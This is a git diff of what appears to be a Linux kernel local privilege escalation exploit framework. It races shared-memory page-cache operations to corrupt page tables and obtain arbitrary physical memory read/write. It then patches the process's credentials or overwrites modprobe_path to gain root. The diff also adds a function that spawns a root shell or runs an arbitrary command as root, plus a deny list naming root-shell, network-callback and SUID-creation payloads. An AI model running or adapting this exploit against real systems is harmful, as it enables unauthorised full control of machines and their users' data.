(sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("restore groom affinity"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx cpu=%d candidate0_source=%#lx candidate0_fake=%#lx candidate1_source=%#lx candidate1_fake=%#lx\n", + (unsigned long)root, groom_cpu, + (unsigned long)source_bases[0], + (unsigned long)fake_bases[0], (unsigned long)source_bases[1], + (unsigned long)fake_bases[1]); + fflush(stdout); + + for (unsigned int candidate = 0; candidate < 2; candidate++) { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_bases[candidate], PAGE_SIZE, + &resident); + + printf("FAKE_WINDOW_PRECONDITION candidate=%u mincore_rc=%d resident=%u\n", + candidate, pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + atomic_store(&fault_release, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + atomic_store(&membarrier_calls, 0); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) { + if (pthread_create(&membarrier_threads[i], NULL, + membarrier_worker, NULL) != 0) { + perror("pthread_create membarrier"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + char *sources[RACE_SOURCE_VIEWS]; + uint64_t *alias; + unsigned char *whole = MAP_FAILED; + void *whole_reservation = MAP_FAILED; + volatile unsigned int delay; + const unsigned int candidate = RACE_LAYOUT_CANDIDATE; + const uintptr_t race_source_base = source_bases[candidate]; + int mutation_ready = 1; + + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC | MFD_EXEC); + if (fd < 0 || + ftruncate(fd, (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + perror("prepare race file"); + return 3; + } + if (RACE_MUTATION_MODE == 3) { + whole = prepare_order0_shmem_folio(fd, + &whole_reservation); + if (whole == MAP_FAILED) { + perror("prepare order-0 race folio"); + return 3; + } + } else if (prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) { + sources[view] = mmap( + (void *)(race_source_base + view * SOURCE_SIZE), + SOURCE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + (RACE_FILE_BASE_PGOFF + SOURCE_PGOFF + + view * SOURCE_SIZE / PAGE_SIZE) * PAGE_SIZE); + if (sources[view] == MAP_FAILED) { + perror("map source race view"); + return 2; + } + } + source = sources[0]; + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, + (off_t)((RACE_FILE_BASE_PGOFF + 64UL) * + PAGE_SIZE)); + if (alias == MAP_FAILED) { + perror("map fake-PTE alias"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + atomic_store_explicit(&fault_addrs[view], sources[view], + memory_order_release); + if (STARTUP_WAIT_ALL_WORKERS) + atomic_store_explicit(&fault_release, 0, + memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + if (STARTUP_WAIT_ACTIVE) { + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit( + &active_workers, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + atomic_store_explicit(&fault_release, 1, + memory_order_release); + } + while (atomic_load_explicit(&fault_callers, + memory_order_acquire) == 0) + sched_yield(); + } + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); +#if RACE_MEMBARRIER_SHOTS > 0 + for (unsigned int shot = 0; + shot < RACE_MEMBARRIER_SHOTS; shot++) + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); +#endif + if (RACE_MUTATION_MODE == 2) { + const unsigned long minimum_local_pages = + SOURCE_PGOFF + SOURCE_SIZE / PAGE_SIZE; + const unsigned long new_pages = + RACE_FILE_BASE_PGOFF + minimum_local_pages + + (unsigned long)i % + (512UL - minimum_local_pages); + + if (ftruncate(fd, (off_t)(new_pages * PAGE_SIZE)) != 0 || + ftruncate(fd, + (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + mutation_ready = 0; + mutation_failures++; + } + } else if (RACE_MUTATION_MODE == 3) { + mutation_ready = 0; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + if (madvise(whole, PMD_SIZE, MADV_COLLAPSE) == 0) { + mutation_ready = 1; + break; + } + if (errno != EAGAIN && errno != EBUSY) + break; + sched_yield(); + } + if (!mutation_ready) + mutation_failures++; + } + if (mutation_ready && RACE_MUTATION_MODE != 2) + (void)fallocate(fd, + FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_KEEP_SIZE, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE), + PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + if (whole_reservation != MAP_FAILED) + munmap(whole_reservation, 2 * PMD_SIZE); + + for (unsigned int target_candidate = 0; + target_candidate < 2 && !success; + target_candidate++) { + const uintptr_t target_root = + candidate_roots[target_candidate]; + const unsigned long target_source_first_pmd = + (source_bases[target_candidate] - target_root) / + PMD_SIZE; + const unsigned long target_source_pmds = + (RACE_SOURCE_VIEWS * SOURCE_SIZE + + PMD_SIZE - 1) / PMD_SIZE; + unsigned long first_present = PUD_PMD_SLOTS; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + unsigned long best_first = PUD_PMD_SLOTS; + unsigned long best_len = 0; + unsigned long run_first = 0; + unsigned long run_len = 0; + + for (unsigned long pmd = 0; pmd < PUD_PMD_SLOTS; + pmd++) { + unsigned char probe = 0; + + if (pmd >= target_source_first_pmd && + pmd < target_source_first_pmd + + target_source_pmds) { + run_len = 0; + continue; + } + if (safe_read( + (const volatile unsigned char *) + (target_root + pmd * PMD_SIZE), + &probe) != 0) { + run_len = 0; + continue; + } + if (first_present == PUD_PMD_SLOTS) + first_present = pmd; + last_present = pmd; + present_pmds++; + if (run_len == 0) + run_first = pmd; + run_len++; + if (run_len > best_len) { + best_first = run_first; + best_len = run_len; + } + } + if (present_pmds == 0) + continue; + if (best_len > FAKE_PT_PAGES) + best_len = FAKE_PT_PAGES; + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = + target_root + best_first * PMD_SIZE; + winning_pmds = best_len; + printf("PAGE_TABLE_PRIMITIVE round=%d race_candidate=%u target_candidate=%u present_pmds=%lu first_layout_pmd=%lu last_layout_pmd=%lu selected_first_pmd=%lu mapped_pmds=%lu scanned_pmds=%lu\n", + i, candidate, target_candidate, present_pmds, + first_present, last_present, best_first, + winning_pmds, PUD_PMD_SLOTS); + fflush(stdout); + } + if (success) + break; + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + munmap(sources[view], SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + close(fd); + if ((i % 100) == 0) { + printf("RACE_PROGRESS round=%d active=%d mutation_failures=%lu\n", + i, atomic_load(&active_workers), mutation_failures); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) + pthread_join(membarrier_threads[i], NULL); + printf("MEMBARRIER_CALLS count=%lu\n", + atomic_load_explicit(&membarrier_calls, memory_order_relaxed)); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + if (preserve_corrupted_mm() < 0) { + perror("preserve corrupted mm"); + printf("MM_HOLDER_FAILED action=process_retained\n"); + fflush(stdout); + for (;;) + pause(); + } + + /* Only PMD spans observed as present are scanned below. Holes remain + * inaccessible and are skipped through the guarded access helpers. */ + fill_fake_ptes(winning_alias, PHYS_BASE_PFN, 1); + { + unsigned long entries; + unsigned long marker_matches = 0; + unsigned long stale_matches = 0; + unsigned long found_i = (unsigned long)-1; + unsigned long found_page = 0; + unsigned char byte = 0; + + mapped_bytes = winning_pmds * PMD_SIZE; + entries = mapped_bytes / PAGE_SIZE; + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, entries); + fflush(stdout); + + for (unsigned long n = 0; n < entries; n++) { + volatile unsigned char *phys = + (volatile unsigned char *)winning_fake_base + + n * PAGE_SIZE; + unsigned long candidate_page; + unsigned char *orig; + unsigned char phys_before; + unsigned char expected; + + if (safe_read(phys, &byte) != 0 || + memcmp((const void *)phys, MARKER_MAGIC, + sizeof(MARKER_MAGIC)) != 0) + continue; + memcpy(&candidate_page, (const void *)(phys + 32), + sizeof(candidate_page)); + if (candidate_page >= MARKER_PAGES) + continue; + marker_matches++; + orig = (unsigned char *)marker + + candidate_page * PAGE_SIZE; + if (safe_read(phys + 128, &phys_before) != 0 || + phys_before != orig[128]) { + stale_matches++; + continue; + } + expected = (unsigned char)(phys_before ^ 0xa5); + if (safe_write(phys + 128, expected) != 0 || + orig[128] != expected) { + (void)safe_write(phys + 128, phys_before); + stale_matches++; + continue; + } + found_i = n; + found_page = candidate_page; + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=1 marker_matches=%lu stale_matches=%lu\n", + found_i, PHYS_BASE_PFN + found_i, found_page, + phys_before, orig[128], marker_matches, + stale_matches); + fflush(stdout); + break; + } + if (found_i == (unsigned long)-1) { + printf("ARBITRARY_PHYSICAL_RW_NOT_VERIFIED sampled_pages=%lu marker_matches=%lu stale_matches=%lu\n", + entries, marker_matches, stale_matches); + return finish_corrupted_mm(6, "physical_rw_not_verified"); + } + } + + { + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + int credentials_patched = 0; + int root_helper_executed = 0; + unsigned int window_index = 0; + int modprobe_available = + getenv("XARR_DISABLE_MODPROBE") == NULL && + prepare_modprobe_helper() == 0; + + for (unsigned long base_pfn = PHYS_BASE_PFN; + base_pfn < PHYS_SCAN_LIMIT_PFN; + base_pfn += window_pages) { + if (remap_physical_window(winning_alias, + tlb_flush_pad, + base_pfn, + window_index++) != 0) { + perror("remap physical window"); + cleanup_modprobe_helper(); + return finish_corrupted_mm(7, "physical_remap_failed"); + } + printf("PHYS_WINDOW_REMAP base_pfn=%#lx bytes=%lu\n", + base_pfn, mapped_bytes); + fflush(stdout); + if (patch_current_credentials(winning_fake_base, + mapped_bytes, + base_pfn) == 0) { + credentials_patched = 1; + break; + } + if (modprobe_available && + patch_modprobe_path(winning_fake_base, + mapped_bytes, base_pfn) == 0) { + root_helper_executed = 1; + break; + } + } + cleanup_modprobe_helper(); + if (root_helper_executed) + return finish_corrupted_mm(0, "root_helper_returned"); + if (!credentials_patched) { + printf("CREDENTIAL_PATCH_FAILED\n"); + return finish_corrupted_mm(7, "credential_patch_failed"); + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return finish_corrupted_mm(8, "root_proof_failed"); + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return finish_corrupted_mm(9, "post_root_create_failed"); + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + if (recover_by_poweroff() != 0) + return finish_corrupted_mm(10, "poweroff_failed"); + (void)winning_source; + (void)winning_fd; + return finish_corrupted_mm(0, "backend_returned"); +} + +int main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + const char *env_rounds = getenv("XARR_ROUNDS"); + if (dirty_crow_reject_forbidden_payload_environment() != 0) + return 2; + if (snprintf(post_root_path, sizeof(post_root_path), "%s-%ld", + POST_ROOT_PATH_PREFIX, (long)getpid()) >= + (int)sizeof(post_root_path)) + return 2; + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0 && + !dirty_crow_valid_modprobe_helper_path(argv[0])) { + fprintf(stderr, + "PROOF_CONTRACT_REJECTED reason=invalid_helper_path\n"); + return 2; + } + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (verify_attestation_receipt() != 0) { + fprintf(stderr, "ATTESTATION_REJECTED reason=%s\n", + attestation_failure_reason); + return 2; + } + if (snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + argv[0]) >= (int)sizeof(modprobe_marker_path)) + return 2; + if (prove_root_identity() != 0 || + prove_post_root_create() != 0 || + create_root_marker() != 0) + return 1; + printf("MODPROBE_ROOT_MARKER path=%s uid=0 gid=0 mode=0400 child_status=0\n", + modprobe_marker_path); + printf("ROOT_HELPER_EXECUTION_CONFIRMED uid=%u euid=%u gid=%u egid=%u\n", + getuid(), geteuid(), getgid(), getegid()); + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED root_execution=modprobe_helper\n"); + fflush(stdout); + if (recover_by_poweroff() != 0) + return 1; + return 0; + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d random_seed=none source_exec=1 file_base_pgoff=%lu delay_period=%u delay_step=%u startup_wait=%s fault_order=pwrite_then_dontneed fault_access=read soft_dirty_clear=0 tlb_flush_pages=%lu worker_threads=%u source_views=%u membarrier_shots=%u membarrier_workers=%u timer_ns=%lu timers_per_worker=%u mutation_mode=%u worker_cpus=%s main_cpu=%s layout_scan_pmds=%lu\n", + rounds, RACE_FILE_BASE_PGOFF, DELAY_PERIOD, DELAY_STEP, + STARTUP_WAIT_ALL_WORKERS ? "all_workers_and_active_caller" : + (STARTUP_WAIT_ACTIVE ? "active_caller" : "none"), + TLB_FLUSH_PAGES, FAULT_THREADS, RACE_SOURCE_VIEWS, + RACE_MEMBARRIER_SHOTS, + RACE_MEMBARRIER_WORKERS, RACE_TIMER_NS, + RACE_TIMERS_PER_WORKER, RACE_MUTATION_MODE, + RACE_PIN_WORKERS ? "pinned" : "unbound", + RACE_PIN_WORKERS ? "0" : "unbound", PUD_PMD_SLOTS); + fflush(stdout); + return run_exploit(rounds); +} diff --git a/dirty-crow-xarray-lpe/framework/backends/proof_contract.h b/dirty-crow-xarray-lpe/framework/backends/proof_contract.h new file mode 100644 index 0000000..a4d4ec4 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/backends/proof_contract.h @@ -0,0 +1,50 @@ +#ifndef DIRTY_CROW_PROOF_CONTRACT_H +#define DIRTY_CROW_PROOF_CONTRACT_H + +#include +#include +#include +#include + +struct dirty_crow_forbidden_payload_variable { + const char *name; + const char *category; +}; + +static int dirty_crow_reject_forbidden_payload_environment(void) +{ + static const struct dirty_crow_forbidden_payload_variable forbidden[] = { + { "XARR_ROOT_SHELL", "root_shell" }, + { "XARR_ROOT_COMMAND", "persistent_root_command" }, + { "XARR_NETWORK_CALLBACK", "network_callback" }, + { "XARR_SUID_PATH", "suid_creation" }, + { "XARR_SERVICE_MODIFICATION", "service_modification" }, + { "XARR_WRITE_PATH", "arbitrary_file_write" }, + }; + + for (size_t i = 0; i < sizeof(forbidden) / sizeof(forbidden[0]); i++) { + if (getenv(forbidden[i].name) == NULL) + continue; + fprintf(stderr, + "PROOF_CONTRACT_REJECTED reason=forbidden_environment category=%s variable=%s\n", + forbidden[i].category, forbidden[i].name); + return -1; + } + return 0; +} + +static int dirty_crow_valid_modprobe_helper_path(const char *path) +{ + static const char prefix[] = "/tmp/x"; + + if (path == NULL || strncmp(path, prefix, sizeof(prefix) - 1) != 0) + return 0; + for (size_t i = sizeof(prefix) - 1; i < sizeof(prefix) + 1; i++) { + if (!((path[i] >= '0' && path[i] <= '9') || + (path[i] >= 'a' && path[i] <= 'f'))) + return 0; + } + return path[sizeof(prefix) + 1] == '\0'; +} + +#endif diff --git a/dirty-crow-xarray-lpe/framework/backends/registry.json b/dirty-crow-xarray-lpe/framework/backends/registry.json new file mode 100644 index 0000000..aa8a2da --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/backends/registry.json @@ -0,0 +1,43 @@ +{ + "schema_version": 1, + "backends": [ + { + "id": "backstep-x86_64-4k", + "source": "backstep_x86_64_4k.c", + "architectures": [ + "x86_64" + ], + "page_sizes": [ + 4096 + ], + "endianness": [ + "little" + ], + "required_source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "forbidden_source_facts": [ + "nonleaf_offset_fix" + ], + "actions": { + "probe": { + "required_capabilities": [] + }, + "legacy-trigger": { + "required_capabilities": [ + "shmem_huge_policy_enabled" + ] + }, + "backstep-proof": { + "required_capabilities": [ + "madv_collapse", + "proof_contract_v1" + ] + } + }, + "priority": 100 + } + ] +} diff --git a/dirty-crow-xarray-lpe/framework/baseline/filemap_xarray_lts_full_exploit.c b/dirty-crow-xarray-lpe/framework/baseline/filemap_xarray_lts_full_exploit.c new file mode 100644 index 0000000..49c8ed4 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/baseline/filemap_xarray_lts_full_exploit.c @@ -0,0 +1,1500 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#ifndef RACE_FILE_BASE_PGOFF +#define RACE_FILE_BASE_PGOFF 0UL +#endif +#if (RACE_FILE_BASE_PGOFF & 511UL) != 0 +#error RACE_FILE_BASE_PGOFF must be 512-page aligned +#endif +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#define PHYS_SCAN_LIMIT_PFN ((2560UL * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#define LAYOUT_PMD_SLOTS ((2UL * PUD_SIZE) / PMD_SIZE) +#define PUD_PMD_SLOTS (PUD_SIZE / PMD_SIZE) +#define DEFAULT_ROUNDS 20000 +#ifndef FAULT_THREADS +#define FAULT_THREADS 8 +#endif +#ifndef RACE_SOURCE_VIEWS +#define RACE_SOURCE_VIEWS 8 +#endif +#if RACE_SOURCE_VIEWS < 1 || RACE_SOURCE_VIEWS > 16 +#error RACE_SOURCE_VIEWS must be between 1 and 16 +#endif +#ifndef RACE_LAYOUT_CANDIDATE +#define RACE_LAYOUT_CANDIDATE 0 +#endif +#if RACE_LAYOUT_CANDIDATE > 1 +#error RACE_LAYOUT_CANDIDATE must be zero or one +#endif +#define MARKER_PAGES 32768UL +#define TLB_FLUSH_PAGES 128UL +#ifndef DELAY_PERIOD +#define DELAY_PERIOD 100U +#endif +#ifndef DELAY_STEP +#define DELAY_STEP 10U +#endif +#ifndef STARTUP_WAIT_ACTIVE +#define STARTUP_WAIT_ACTIVE 1 +#endif +#ifndef STARTUP_WAIT_ALL_WORKERS +#define STARTUP_WAIT_ALL_WORKERS 1 +#endif +#ifndef RACE_MEMBARRIER_SHOTS +#define RACE_MEMBARRIER_SHOTS 0 +#endif +#ifndef RACE_TIMER_NS +#define RACE_TIMER_NS 100000UL +#endif +#ifndef RACE_TIMERS_PER_WORKER +#define RACE_TIMERS_PER_WORKER 8 +#endif +#ifndef RACE_PIN_WORKERS +#define RACE_PIN_WORKERS 0 +#endif +#ifndef RACE_MEMBARRIER_WORKERS +#define RACE_MEMBARRIER_WORKERS 0 +#endif +#ifndef RACE_MUTATION_MODE +#define RACE_MUTATION_MODE 0 +#endif +#ifndef RACE_COLLAPSE_ATTEMPTS +#define RACE_COLLAPSE_ATTEMPTS 1 +#endif +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define ROOT_PROOF_PATH "/root/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH_PREFIX "/root/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_TRIGGER_PATH "/tmp/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL +#define ROOT_REQUIRED_CAPS ((1ULL << CAP_CHOWN) | \ + (1ULL << CAP_DAC_OVERRIDE) | \ + (1ULL << CAP_SETGID) | (1ULL << CAP_SETUID)) + +#define PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid; +static gid_t target_rgid, target_egid, target_sgid; +static int root_proof_required; +static char post_root_path[128]; +static char modprobe_helper_path[sizeof(MODPROBE_PATH_ORIGINAL)]; +static char modprobe_marker_path[64]; +static atomic_int fault_callers; +static atomic_int fault_release; +static atomic_ulong membarrier_calls; +static _Atomic(char *) fault_addrs[RACE_SOURCE_VIEWS]; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} +static int mm_holder_main(void *unused) +{ + uint64_t blocked = ~0ULL; + + (void)unused; + (void)syscall(SYS_prctl, PR_SET_NAME, "xarr-mm-holder", 0, 0, 0); + (void)syscall(SYS_rt_sigprocmask, SIG_SETMASK, &blocked, NULL, + sizeof(blocked)); + for (;;) + (void)syscall(SYS_pause); + return 0; +} + +static pid_t preserve_corrupted_mm(void) +{ + const size_t stack_size = 1024UL * 1024UL; + unsigned char *stack; + pid_t pid; + + stack = mmap(NULL, stack_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (stack == MAP_FAILED) + return -1; + (void)madvise(stack, stack_size, MADV_DONTDUMP); + fflush(NULL); + pid = clone(mm_holder_main, stack + stack_size, CLONE_VM | SIGCHLD, + NULL); + if (pid < 0) { + munmap(stack, stack_size); + return -1; + } + printf("MM_HOLDER pid=%ld state=retaining_corrupted_mm cleanup=reboot_only\n", + (long)pid); + fflush(stdout); + return pid; +} + +static int launch_root_payload(void) +{ + const char *command = getenv("XARR_ROOT_COMMAND"); + const char *shell = getenv("XARR_ROOT_SHELL"); + + if (command != NULL && command[0] != '\0') { + printf("ROOT_PAYLOAD mode=command shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", "-c", command, NULL); + perror("exec root command"); + return -1; + } + if (shell != NULL && strcmp(shell, "0") != 0) { + printf("ROOT_PAYLOAD mode=interactive shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", NULL); + perror("exec root shell"); + return -1; + } + return 0; +} + +static void *fault_worker(void *arg) +{ + const unsigned int worker = (unsigned int)(uintptr_t)arg; + timer_t race_timers[RACE_TIMERS_PER_WORKER > 0 ? + RACE_TIMERS_PER_WORKER : 1] = { 0 }; + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int fault_cpus = + cpus > 2 && RACE_MEMBARRIER_WORKERS > 0 ? + (unsigned int)(cpus - 2) : + (cpus > 1 ? (unsigned int)(cpus - 1) : 1U); + unsigned int cpu = cpus > 1 ? + 1U + worker % fault_cpus : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set) != 0) + _exit(2); + } + if (RACE_TIMER_NS > 0) { + struct sigevent event; + struct itimerspec interval; + struct timespec start; + sigset_t blocked; + int signo = SIGRTMIN + 3; + + sigemptyset(&blocked); + sigaddset(&blocked, signo); + if (pthread_sigmask(SIG_BLOCK, &blocked, NULL) != 0) + _exit(2); + memset(&event, 0, sizeof(event)); + event.sigev_notify = SIGEV_THREAD_ID; + event.sigev_signo = signo; + event._sigev_un._tid = (pid_t)syscall(SYS_gettid); + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_create(CLOCK_MONOTONIC, &event, + &race_timers[timer]) != 0) + _exit(2); + } + if (clock_gettime(CLOCK_MONOTONIC, &start) != 0) + _exit(2); + start.tv_nsec += 1000000L; + if (start.tv_nsec >= 1000000000L) { + start.tv_sec++; + start.tv_nsec -= 1000000000L; + } + memset(&interval, 0, sizeof(interval)); + interval.it_value = start; + interval.it_interval.tv_sec = RACE_TIMER_NS / 1000000000UL; + interval.it_interval.tv_nsec = RACE_TIMER_NS % 1000000000UL; + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_settime(race_timers[timer], TIMER_ABSTIME, + &interval, NULL) != 0) + _exit(2); + } + } + for (;;) { + char *p; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addrs[worker % RACE_SOURCE_VIEWS], + memory_order_acquire); + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1 && + atomic_load_explicit(&fault_release, + memory_order_acquire) == 0) + sched_yield(); + if (atomic_load_explicit(&run_state, + memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, + memory_order_acq_rel); + continue; + } + } + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1) { + ssize_t n; + + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, 1, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + (void)n; + } + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + if (RACE_TIMER_NS > 0) { + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) + (void)timer_delete(race_timers[timer]); + } + return NULL; +} + +static void *membarrier_worker(void *arg) +{ + (void)arg; + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int cpu = cpus > 1 ? (unsigned int)(cpus - 1) : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set) != 0) + _exit(2); + } + for (;;) { + int state = atomic_load_explicit(&run_state, memory_order_acquire); + + if (state == 2) + break; + if (state != 1) { + sched_yield(); + continue; + } + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); + atomic_fetch_add_explicit(&membarrier_calls, 1, + memory_order_relaxed); + } + return NULL; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping 